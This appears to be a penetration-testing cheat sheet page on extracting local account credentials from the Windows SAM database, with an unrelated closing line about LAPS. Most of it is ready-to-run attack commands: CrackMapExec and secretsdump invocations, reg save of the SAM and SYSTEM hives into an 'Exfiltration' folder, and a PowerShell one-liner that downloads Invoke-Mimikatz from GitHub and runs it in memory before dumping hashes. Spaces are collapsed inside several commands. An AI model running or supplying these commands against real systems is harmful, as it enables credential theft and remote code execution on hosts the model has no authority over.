Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
Linux Techniques
Crackmapexec
crackmapexecsmb<IP>-u<User>-p<Password>--sam# Use the local-auth parameter when authenticating as a local accountcrackmapexecsmb<IP>-u<User>-p<Password>--sam--local-auth
Secretsdump
# Dump from SAM and SYSTEM. Ensure files are in current working directorysecretsdump.py-samSAM-systemSYSTEMLOCAL
Windows Techniques
# Manually save SAM and SYSTEM files (if needed for any tools below)reg save HKLM\SAM c:\Exfiltration\SAMreg save HKLM\SYSTEM c:\Exfiltration\SYSTEM
DumpSam
This tool will filter out some default accounts such as Guest and the wdagutilityaccount account from the results.
# Load into memoryIEX (IWR -UseBasicParsing "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1")
# Dump from SAM and SYSTEM. Enusre files are in current working directoryInvoke-Mimikatz-command "lsadump::sam /system:SYSTEM /sam:SAM"# Dump against the live hive filesInvoke-Mimikatz-Command '"token::elevate" "lsadump::sam"'
The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.